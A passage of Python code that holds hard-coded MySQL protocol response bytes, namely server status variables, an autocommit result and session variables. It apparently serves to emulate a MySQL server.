6e\x6f\x64\x62\x5f\x72\x6f\x77\x5f\x6c\x6f\x63\x6b\x5f\x74\x69\x6d\x65\x5f\x6d\x61\x78\x01\x30\x18\x00\x00\xec\x15\x49\x6e\x6e\x6f\x64\x62\x5f\x72\x6f\x77\x5f\x6c\x6f\x63\x6b\x5f\x77\x61\x69\x74\x73\x01\x30\x16\x00\x00\xed\x13\x49\x6e\x6e\x6f\x64\x62\x5f\x72\x6f\x77\x73\x5f\x64\x65\x6c\x65\x74\x65\x64\x01\x30\x17\x00\x00\xee\x14\x49\x6e\x6e\x6f\x64\x62\x5f\x72\x6f\x77\x73\x5f\x69\x6e\x73\x65\x72\x74\x65\x64\x01\x30\x13\x00\x00\xef\x10\x49\x6e\x6e\x6f\x64\x62\x5f\x72\x6f\x77\x73\x5f\x72\x65\x61\x64\x01\x38\x16\x00\x00\xf0\x13\x49\x6e\x6e\x6f\x64\x62\x5f\x72\x6f\x77\x73\x5f\x75\x70\x64\x61\x74\x65\x64\x01\x30\x19\x00\x00\xf1\x15\x49\x6e\x6e\x6f\x64\x62\x5f\x6e\x75\x6d\x5f\x6f\x70\x65\x6e\x5f\x66\x69\x6c\x65\x73\x02\x32\x32\x21\x00\x00\xf2\x1e\x49\x6e\x6e\x6f\x64\x62\x5f\x74\x72\x75\x6e\x63\x61\x74\x65\x64\x5f\x73\x74\x61\x74\x75\x73\x5f\x77\x72\x69\x74\x65\x73\x01\x30\x1f\x00\x00\xf3\x1a\x49\x6e\x6e\x6f\x64\x62\x5f\x61\x76\x61\x69\x6c\x61\x62\x6c\x65\x5f\x75\x6e\x64\x6f\x5f\x6c\x6f\x67\x73\x03\x31\x32\x38\x19\x00\x00\xf4\x16\x4b\x65\x79\x5f\x62\x6c\x6f\x63\x6b\x73\x5f\x6e\x6f\x74\x5f\x66\x6c\x75\x73\x68\x65\x64\x01\x30\x18\x00\x00\xf5\x11\x4b\x65\x79\x5f\x62\x6c\x6f\x63\x6b\x73\x5f\x75\x6e\x75\x73\x65\x64\x05\x32\x36\x37\x39\x32\x12\x00\x00\xf6\x0f\x4b\x65\x79\x5f\x62\x6c\x6f\x63\x6b\x73\x5f\x75\x73\x65\x64\x01\x33\x14\x00\x00\xf7\x11\x4b\x65\x79\x5f\x72\x65\x61\x64\x5f\x72\x65\x71\x75\x65\x73\x74\x73\x01\x36\x0c\x00\x00\xf8\x09\x4b\x65\x79\x5f\x72\x65\x61\x64\x73\x01\x33\x15\x00\x00\xf9\x12\x4b\x65\x79\x5f\x77\x72\x69\x74\x65\x5f\x72\x65\x71\x75\x65\x73\x74\x73\x01\x30\x0d\x00\x00\xfa\x0a\x4b\x65\x79\x5f\x77\x72\x69\x74\x65\x73\x01\x30\x19\x00\x00\xfb\x0f\x4c\x61\x73\x74\x5f\x71\x75\x65\x72\x79\x5f\x63\x6f\x73\x74\x08\x30\x2e\x30\x30\x30\x30\x30\x30\x1b\x00\x00\xfc\x18\x4c\x61\x73\x74\x5f\x71\x75\x65\x72\x79\x5f\x70\x61\x72\x74\x69\x61\x6c\x5f\x70\x6c\x61\x6e\x73\x01\x30\x12\x00\x00\xfd\x0f\x4c\x6f\x63\x6b\x65\x64\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x73\x01\x30\x1e\x00\x00\xfe\x1b\x4d\x61\x78\x5f\x65\x78\x65\x63\x75\x74\x69\x6f\x6e\x5f\x74\x69\x6d\x65\x5f\x65\x78\x63\x65\x65\x64\x65\x64\x01\x30\x19\x00\x00\xff\x16\x4d\x61\x78\x5f\x65\x78\x65\x63\x75\x74\x69\x6f\x6e\x5f\x74\x69\x6d\x65\x5f\x73\x65\x74\x01\x30\x20\x00\x00\x00\x1d\x4d\x61\x78\x5f\x65\x78\x65\x63\x75\x74\x69\x6f\x6e\x5f\x74\x69\x6d\x65\x5f\x73\x65\x74\x5f\x66\x61\x69\x6c\x65\x64\x01\x30\x17\x00\x00\x01\x14\x4d\x61\x78\x5f\x75\x73\x65\x64\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x73\x01\x31\x2e\x00\x00\x02\x19\x4d\x61\x78\x5f\x75\x73\x65\x64\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x73\x5f\x74\x69\x6d\x65\x13\x32\x30\x32\x35\x2d\x30\x31\x2d\x31\x30\x20\x30\x31\x3a\x34\x33\x3a\x31\x39\x1b\x00\x00\x03\x18\x4e\x6f\x74\x5f\x66\x6c\x75\x73\x68\x65\x64\x5f\x64\x65\x6c\x61\x79\x65\x64\x5f\x72\x6f\x77\x73\x01\x30\x26\x00\x00\x04\x23\x4f\x6e\x67\x6f\x69\x6e\x67\x5f\x61\x6e\x6f\x6e\x79\x6d\x6f\x75\x73\x5f\x74\x72\x61\x6e\x73\x61\x63\x74\x69\x6f\x6e\x5f\x63\x6f\x75\x6e\x74\x01\x30\x0d\x00\x00\x05\x0a\x4f\x70\x65\x6e\x5f\x66\x69\x6c\x65\x73\x01\x36\x0f\x00\x00\x06\x0c\x4f\x70\x65\x6e\x5f\x73\x74\x72\x65\x61\x6d\x73\x01\x30\x1b\x00\x00\x07\x16\x4f\x70\x65\x6e\x5f\x74\x61\x62\x6c\x65\x5f\x64\x65\x66\x69\x6e\x69\x74\x69\x6f\x6e\x73\x03\x31\x30\x38\x0f\x00\x00\x08\x0b\x4f\x70\x65\x6e\x5f\x74\x61\x62\x6c\x65\x73\x02\x31\x37\x11\x00\x00\x09\x0c\x4f\x70\x65\x6e\x65\x64\x5f\x66\x69\x6c\x65\x73\x03\x31\x34\x31\x1b\x00\x00\x0a\x18\x4f\x70\x65\x6e\x65\x64\x5f\x74\x61\x62\x6c\x65\x5f\x64\x65\x66\x69\x6e\x69\x74\x69\x6f\x6e\x73\x01\x30\x10\x00\x00\x0b\x0d\x4f\x70\x65\x6e\x65\x64\x5f\x74\x61\x62\x6c\x65\x73\x01\x30\x23\x00\x00\x0c\x20\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x61\x63\x63\x6f\x75\x6e\x74\x73\x5f\x6c\x6f\x73\x74\x01\x30\x27\x00\x00\x0d\x24\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x63\x6f\x6e\x64\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x29\x00\x00\x0e\x26\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x63\x6f\x6e\x64\x5f\x69\x6e\x73\x74\x61\x6e\x63\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x21\x00\x00\x0f\x1e\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x64\x69\x67\x65\x73\x74\x5f\x6c\x6f\x73\x74\x01\x30\x27\x00\x00\x10\x24\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x66\x69\x6c\x65\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x27\x00\x00\x11\x24\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x66\x69\x6c\x65\x5f\x68\x61\x6e\x64\x6c\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x29\x00\x00\x12\x26\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x66\x69\x6c\x65\x5f\x69\x6e\x73\x74\x61\x6e\x63\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x20\x00\x00\x13\x1d\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x68\x6f\x73\x74\x73\x5f\x6c\x6f\x73\x74\x01\x30\x25\x00\x00\x14\x22\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x69\x6e\x64\x65\x78\x5f\x73\x74\x61\x74\x5f\x6c\x6f\x73\x74\x01\x30\x21\x00\x00\x15\x1e\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x6c\x6f\x63\x6b\x65\x72\x5f\x6c\x6f\x73\x74\x01\x30\x29\x00\x00\x16\x26\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x6d\x65\x6d\x6f\x72\x79\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x28\x00\x00\x17\x25\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x6d\x65\x74\x61\x64\x61\x74\x61\x5f\x6c\x6f\x63\x6b\x5f\x6c\x6f\x73\x74\x01\x30\x28\x00\x00\x18\x25\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x6d\x75\x74\x65\x78\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x2a\x00\x00\x19\x27\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x6d\x75\x74\x65\x78\x5f\x69\x6e\x73\x74\x61\x6e\x63\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x2b\x00\x00\x1a\x28\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x6e\x65\x73\x74\x65\x64\x5f\x73\x74\x61\x74\x65\x6d\x65\x6e\x74\x5f\x6c\x6f\x73\x74\x01\x30\x2e\x00\x00\x1b\x2b\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x70\x72\x65\x70\x61\x72\x65\x64\x5f\x73\x74\x61\x74\x65\x6d\x65\x6e\x74\x73\x5f\x6c\x6f\x73\x74\x01\x30\x22\x00\x00\x1c\x1f\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x70\x72\x6f\x67\x72\x61\x6d\x5f\x6c\x6f\x73\x74\x01\x30\x29\x00\x00\x1d\x26\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x72\x77\x6c\x6f\x63\x6b\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x2b\x00\x00\x1e\x28\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x72\x77\x6c\x6f\x63\x6b\x5f\x69\x6e\x73\x74\x61\x6e\x63\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x30\x00\x00\x1f\x2d\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x73\x65\x73\x73\x69\x6f\x6e\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x5f\x61\x74\x74\x72\x73\x5f\x6c\x6f\x73\x74\x01\x30\x29\x00\x00\x20\x26\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x73\x6f\x63\x6b\x65\x74\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x2b\x00\x00\x21\x28\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x73\x6f\x63\x6b\x65\x74\x5f\x69\x6e\x73\x74\x61\x6e\x63\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x28\x00\x00\x22\x25\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x73\x74\x61\x67\x65\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x2c\x00\x00\x23\x29\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x73\x74\x61\x74\x65\x6d\x65\x6e\x74\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x28\x00\x00\x24\x25\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x74\x61\x62\x6c\x65\x5f\x68\x61\x6e\x64\x6c\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x2a\x00\x00\x25\x27\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x74\x61\x62\x6c\x65\x5f\x69\x6e\x73\x74\x61\x6e\x63\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x2a\x00\x00\x26\x27\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x74\x61\x62\x6c\x65\x5f\x6c\x6f\x63\x6b\x5f\x73\x74\x61\x74\x5f\x6c\x6f\x73\x74\x01\x30\x29\x00\x00\x27\x26\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x74\x68\x72\x65\x61\x64\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x2b\x00\x00\x28\x28\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x74\x68\x72\x65\x61\x64\x5f\x69\x6e\x73\x74\x61\x6e\x63\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x20\x00\x00\x29\x1d\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x75\x73\x65\x72\x73\x5f\x6c\x6f\x73\x74\x01\x30\x16\x00\x00\x2a\x13\x50\x72\x65\x70\x61\x72\x65\x64\x5f\x73\x74\x6d\x74\x5f\x63\x6f\x75\x6e\x74\x01\x30\x15\x00\x00\x2b\x12\x51\x63\x61\x63\x68\x65\x5f\x66\x72\x65\x65\x5f\x62\x6c\x6f\x63\x6b\x73\x01\x31\x1b\x00\x00\x2c\x12\x51\x63\x61\x63\x68\x65\x5f\x66\x72\x65\x65\x5f\x6d\x65\x6d\x6f\x72\x79\x07\x31\x30\x33\x31\x38\x37\x32\x0e\x00\x00\x2d\x0b\x51\x63\x61\x63\x68\x65\x5f\x68\x69\x74\x73\x01\x30\x11\x00\x00\x2e\x0e\x51\x63\x61\x63\x68\x65\x5f\x69\x6e\x73\x65\x72\x74\x73\x01\x30\x17\x00\x00\x2f\x14\x51\x63\x61\x63\x68\x65\x5f\x6c\x6f\x77\x6d\x65\x6d\x5f\x70\x72\x75\x6e\x65\x73\x01\x30\x14\x00\x00\x30\x11\x51\x63\x61\x63\x68\x65\x5f\x6e\x6f\x74\x5f\x63\x61\x63\x68\x65\x64\x01\x32\x1a\x00\x00\x31\x17\x51\x63\x61\x63\x68\x65\x5f\x71\x75\x65\x72\x69\x65\x73\x5f\x69\x6e\x5f\x63\x61\x63\x68\x65\x01\x30\x16\x00\x00\x32\x13\x51\x63\x61\x63\x68\x65\x5f\x74\x6f\x74\x61\x6c\x5f\x62\x6c\x6f\x63\x6b\x73\x01\x31\x0a\x00\x00\x33\x07\x51\x75\x65\x72\x69\x65\x73\x01\x38\x0c\x00\x00\x34\x09\x51\x75\x65\x73\x74\x69\x6f\x6e\x73\x01\x37\x13\x00\x00\x35\x10\x53\x65\x6c\x65\x63\x74\x5f\x66\x75\x6c\x6c\x5f\x6a\x6f\x69\x6e\x01\x30\x19\x00\x00\x36\x16\x53\x65\x6c\x65\x63\x74\x5f\x66\x75\x6c\x6c\x5f\x72\x61\x6e\x67\x65\x5f\x6a\x6f\x69\x6e\x01\x30\x0f\x00\x00\x37\x0c\x53\x65\x6c\x65\x63\x74\x5f\x72\x61\x6e\x67\x65\x01\x30\x15\x00\x00\x38\x12\x53\x65\x6c\x65\x63\x74\x5f\x72\x61\x6e\x67\x65\x5f\x63\x68\x65\x63\x6b\x01\x30\x0e\x00\x00\x39\x0b\x53\x65\x6c\x65\x63\x74\x5f\x73\x63\x61\x6e\x01\x30\x19\x00\x00\x3a\x16\x53\x6c\x61\x76\x65\x5f\x6f\x70\x65\x6e\x5f\x74\x65\x6d\x70\x5f\x74\x61\x62\x6c\x65\x73\x01\x30\x16\x00\x00\x3b\x13\x53\x6c\x6f\x77\x5f\x6c\x61\x75\x6e\x63\x68\x5f\x74\x68\x72\x65\x61\x64\x73\x01\x30\x0f\x00\x00\x3c\x0c\x53\x6c\x6f\x77\x5f\x71\x75\x65\x72\x69\x65\x73\x01\x30\x14\x00\x00\x3d\x11\x53\x6f\x72\x74\x5f\x6d\x65\x72\x67\x65\x5f\x70\x61\x73\x73\x65\x73\x01\x30\x0d\x00\x00\x3e\x0a\x53\x6f\x72\x74\x5f\x72\x61\x6e\x67\x65\x01\x30\x0c\x00\x00\x3f\x09\x53\x6f\x72\x74\x5f\x72\x6f\x77\x73\x01\x30\x0c\x00\x00\x40\x09\x53\x6f\x72\x74\x5f\x73\x63\x61\x6e\x01\x30\x1a\x00\x00\x41\x17\x53\x73\x6c\x5f\x61\x63\x63\x65\x70\x74\x5f\x72\x65\x6e\x65\x67\x6f\x74\x69\x61\x74\x65\x73\x01\x30\x0e\x00\x00\x42\x0b\x53\x73\x6c\x5f\x61\x63\x63\x65\x70\x74\x73\x01\x30\x1a\x00\x00\x43\x17\x53\x73\x6c\x5f\x63\x61\x6c\x6c\x62\x61\x63\x6b\x5f\x63\x61\x63\x68\x65\x5f\x68\x69\x74\x73\x01\x30\x0c\x00\x00\x44\x0a\x53\x73\x6c\x5f\x63\x69\x70\x68\x65\x72\x00\x11\x00\x00\x45\x0f\x53\x73\x6c\x5f\x63\x69\x70\x68\x65\x72\x5f\x6c\x69\x73\x74\x00\x16\x00\x00\x46\x13\x53\x73\x6c\x5f\x63\x6c\x69\x65\x6e\x74\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x73\x01\x30\x1b\x00\x00\x47\x18\x53\x73\x6c\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x5f\x72\x65\x6e\x65\x67\x6f\x74\x69\x61\x74\x65\x73\x01\x30\x17\x00\x00\x48\x14\x53\x73\x6c\x5f\x63\x74\x78\x5f\x76\x65\x72\x69\x66\x79\x5f\x64\x65\x70\x74\x68\x01\x30\x16\x00\x00\x49\x13\x53\x73\x6c\x5f\x63\x74\x78\x5f\x76\x65\x72\x69\x66\x79\x5f\x6d\x6f\x64\x65\x01\x30\x16\x00\x00\x4a\x13\x53\x73\x6c\x5f\x64\x65\x66\x61\x75\x6c\x74\x5f\x74\x69\x6d\x65\x6f\x75\x74\x01\x30\x17\x00\x00\x4b\x14\x53\x73\x6c\x5f\x66\x69\x6e\x69\x73\x68\x65\x64\x5f\x61\x63\x63\x65\x70\x74\x73\x01\x30\x18\x00\x00\x4c\x15\x53\x73\x6c\x5f\x66\x69\x6e\x69\x73\x68\x65\x64\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x73\x01\x30\x16\x00\x00\x4d\x14\x53\x73\x6c\x5f\x73\x65\x72\x76\x65\x72\x5f\x6e\x6f\x74\x5f\x61\x66\x74\x65\x72\x00\x17\x00\x00\x4e\x15\x53\x73\x6c\x5f\x73\x65\x72\x76\x65\x72\x5f\x6e\x6f\x74\x5f\x62\x65\x66\x6f\x72\x65\x00\x19\x00\x00\x4f\x16\x53\x73\x6c\x5f\x73\x65\x73\x73\x69\x6f\x6e\x5f\x63\x61\x63\x68\x65\x5f\x68\x69\x74\x73\x01\x30\x1b\x00\x00\x50\x18\x53\x73\x6c\x5f\x73\x65\x73\x73\x69\x6f\x6e\x5f\x63\x61\x63\x68\x65\x5f\x6d\x69\x73\x73\x65\x73\x01\x30\x1c\x00\x00\x51\x16\x53\x73\x6c\x5f\x73\x65\x73\x73\x69\x6f\x6e\x5f\x63\x61\x63\x68\x65\x5f\x6d\x6f\x64\x65\x04\x4e\x4f\x4e\x45\x1e\x00\x00\x52\x1b\x53\x73\x6c\x5f\x73\x65\x73\x73\x69\x6f\x6e\x5f\x63\x61\x63\x68\x65\x5f\x6f\x76\x65\x72\x66\x6c\x6f\x77\x73\x01\x30\x19\x00\x00\x53\x16\x53\x73\x6c\x5f\x73\x65\x73\x73\x69\x6f\x6e\x5f\x63\x61\x63\x68\x65\x5f\x73\x69\x7a\x65\x01\x30\x1d\x00\x00\x54\x1a\x53\x73\x6c\x5f\x73\x65\x73\x73\x69\x6f\x6e\x5f\x63\x61\x63\x68\x65\x5f\x74\x69\x6d\x65\x6f\x75\x74\x73\x01\x30\x16\x00\x00\x55\x13\x53\x73\x6c\x5f\x73\x65\x73\x73\x69\x6f\x6e\x73\x5f\x72\x65\x75\x73\x65\x64\x01\x30\x21\x00\x00\x56\x1e\x53\x73\x6c\x5f\x75\x73\x65\x64\x5f\x73\x65\x73\x73\x69\x6f\x6e\x5f\x63\x61\x63\x68\x65\x5f\x65\x6e\x74\x72\x69\x65\x73\x01\x30\x13\x00\x00\x57\x10\x53\x73\x6c\x5f\x76\x65\x72\x69\x66\x79\x5f\x64\x65\x70\x74\x68\x01\x30\x12\x00\x00\x58\x0f\x53\x73\x6c\x5f\x76\x65\x72\x69\x66\x79\x5f\x6d\x6f\x64\x65\x01\x30\x0d\x00\x00\x59\x0b\x53\x73\x6c\x5f\x76\x65\x72\x73\x69\x6f\x6e\x00\x1a\x00\x00\x5a\x15\x54\x61\x62\x6c\x65\x5f\x6c\x6f\x63\x6b\x73\x5f\x69\x6d\x6d\x65\x64\x69\x61\x74\x65\x03\x31\x30\x30\x15\x00\x00\x5b\x12\x54\x61\x62\x6c\x65\x5f\x6c\x6f\x63\x6b\x73\x5f\x77\x61\x69\x74\x65\x64\x01\x30\x18\x00\x00\x5c\x15\x54\x61\x62\x6c\x65\x5f\x6f\x70\x65\x6e\x5f\x63\x61\x63\x68\x65\x5f\x68\x69\x74\x73\x01\x30\x1a\x00\x00\x5d\x17\x54\x61\x62\x6c\x65\x5f\x6f\x70\x65\x6e\x5f\x63\x61\x63\x68\x65\x5f\x6d\x69\x73\x73\x65\x73\x01\x30\x1d\x00\x00\x5e\x1a\x54\x61\x62\x6c\x65\x5f\x6f\x70\x65\x6e\x5f\x63\x61\x63\x68\x65\x5f\x6f\x76\x65\x72\x66\x6c\x6f\x77\x73\x01\x30\x18\x00\x00\x5f\x15\x54\x63\x5f\x6c\x6f\x67\x5f\x6d\x61\x78\x5f\x70\x61\x67\x65\x73\x5f\x75\x73\x65\x64\x01\x30\x13\x00\x00\x60\x10\x54\x63\x5f\x6c\x6f\x67\x5f\x70\x61\x67\x65\x5f\x73\x69\x7a\x65\x01\x30\x14\x00\x00\x61\x11\x54\x63\x5f\x6c\x6f\x67\x5f\x70\x61\x67\x65\x5f\x77\x61\x69\x74\x73\x01\x30\x11\x00\x00\x62\x0e\x54\x68\x72\x65\x61\x64\x73\x5f\x63\x61\x63\x68\x65\x64\x01\x30\x14\x00\x00\x63\x11\x54\x68\x72\x65\x61\x64\x73\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x65\x64\x01\x31\x12\x00\x00\x64\x0f\x54\x68\x72\x65\x61\x64\x73\x5f\x63\x72\x65\x61\x74\x65\x64\x01\x31\x12\x00\x00\x65\x0f\x54\x68\x72\x65\x61\x64\x73\x5f\x72\x75\x6e\x6e\x69\x6e\x67\x01\x31\x0a\x00\x00\x66\x06\x55\x70\x74\x69\x6d\x65\x02\x32\x32\x1d\x00\x00\x67\x19\x55\x70\x74\x69\x6d\x65\x5f\x73\x69\x6e\x63\x65\x5f\x66\x6c\x75\x73\x68\x5f\x73\x74\x61\x74\x75\x73\x02\x32\x32\x07\x00\x00\x68\xfe\x00\x00\x02\x00\x00\x00"
def get_commit_data():
return bytes([0x01, 0x00, 0x00, 0x01, 0x01, 0x2a, 0x00, 0x00,
0x02, 0x03, 0x64, 0x65, 0x66, 0x00, 0x00, 0x00,
0x14, 0x40, 0x40, 0x73, 0x65, 0x73, 0x73, 0x69,
0x6f, 0x6e, 0x2e, 0x61, 0x75, 0x74, 0x6f, 0x63,
0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x00, 0x0c, 0x3f,
0x00, 0x01, 0x00, 0x00, 0x00, 0x08, 0x80, 0x00,
0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x03, 0x01,
0x31, 0x07, 0x00, 0x00, 0x04, 0xfe, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00])
def get_var_data():
part1 = [0x01, 0x00, 0x00, 0x01, 0x14, 0x2e, 0x00, 0x00,
0x02, 0x03, 0x64, 0x65, 0x66, 0x00, 0x00, 0x00,
0x18, 0x61, 0x75, 0x74, 0x6f, 0x5f, 0x69, 0x6e,
0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x5f,
0x69, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e,
0x74, 0x00, 0x0c, 0x3f, 0x00, 0x15, 0x00, 0x00,
0x00, 0x08, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x2a,
0x00, 0x00, 0x03, 0x03, 0x64, 0x65, 0x66, 0x00,
0x00, 0x00, 0x14, 0x63, 0x68, 0x61, 0x72, 0x61,
0x63, 0x74, 0x65, 0x72, 0x5f, 0x73, 0x65, 0x74,
0x5f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x00,
0x0c, 0x21, 0x00, 0x0c, 0x00, 0x00, 0x00, 0xfd,
0x00, 0x00, 0x1f, 0x00, 0x00, 0x2e, 0x00, 0x00,
0x04, 0x03, 0x64, 0x65, 0x66, 0x00, 0x00, 0x00,
0x18, 0x63, 0x68, 0x61, 0x72, 0x61, 0x63, 0x74,
0x65, 0x72, 0x5f, 0x73, 0x65, 0x74, 0x5f, 0x63,
0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f,
0x6e, 0x00, 0x0c, 0x21, 0x00, 0x0c, 0x00, 0x00,
0x00, 0xfd, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x2b,
0x00, 0x00, 0x05, 0x03, 0x64, 0x65, 0x66, 0x00,
0x00, 0x00, 0x15, 0x63, 0x68, 0x61, 0x72, 0x61,
0x63, 0x74, 0x65, 0x72, 0x5f, 0x73, 0x65, 0x74,
0x5f, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73,
0x00, 0x0c, 0x21, 0x00, 0x0c, 0x00, 0x00, 0x00,
0xfd, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x2a, 0x00,
0x00, 0x06, 0x03, 0x64, 0x65, 0x66, 0x00, 0x00,
0x00, 0x14, 0x63, 0x68, 0x61, 0x72, 0x61, 0x63,
0x74, 0x65, 0x72, 0x5f, 0x73, 0x65, 0x74, 0x5f,
0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x00, 0x0c,
0x21, 0x00, 0x0c, 0x00, 0x00, 0x00, 0xfd, 0x00,
0x00, 0x1f, 0x00, 0x00, 0x26, 0x00, 0x00, 0x07,
0x03, 0x64, 0x65, 0x66, 0x00, 0x00, 0x00, 0x10,
0x63, 0x6f, 0x6c, 0x6c, 0x61, 0x74, 0x69, 0x6f,
0x6e, 0x5f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72,
0x00, 0x0c, 0x21, 0x00, 0x2d, 0x00, 0x00, 0x00,
0xfd, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x2a, 0x00,
0x00, 0x08, 0x03, 0x64, 0x65, 0x66, 0x00, 0x00,
0x00, 0x14, 0x63, 0x6f, 0x6c, 0x6c, 0x61, 0x74,
0x69, 0x6f, 0x6e, 0x5f, 0x63, 0x6f, 0x6e, 0x6e,
0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x00, 0x0c,
0x21, 0x00, 0x2d, 0x00, 0x00, 0x00, 0xfd, 0x00,
0x00, 0x1f, 0x00, 0x00, 0x22, 0x00, 0x00, 0x09,
0x03, 0x64, 0x65, 0x66, 0x00, 0x00, 0x00, 0x0c,
0x69, 0x6e, 0x69, 0x74, 0x5f, 0x63, 0x6f, 0x6e,
0x6e, 0x65, 0x63, 0x74, 0x00, 0x0c, 0x21, 0x00,
0x2a, 0x00, 0x00, 0x00, 0xfd, 0x00, 0x00, 0x1f,
0x00, 0x00, 0x29, 0x00, 0x00, 0x0a, 0x03, 0x64,
0x65, 0x66, 0x00, 0x00, 0x00, 0x13, 0x69, 0x6e,
0x74, 0x65, 0x72, 0x61, 0x63, 0x74, 0x69, 0x76,
0x65, 0x5f, 0x74, 0x69, 0x6d, 0x65, 0x6f, 0x75,
0x74, 0x00, 0x0c, 0x3f, 0x00, 0x15, 0x00, 0x00,
0x00, 0x08, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x1d,
0x00, 0x00, 0x0b, 0x03, 0x64, 0x65, 0x66, 0x00,
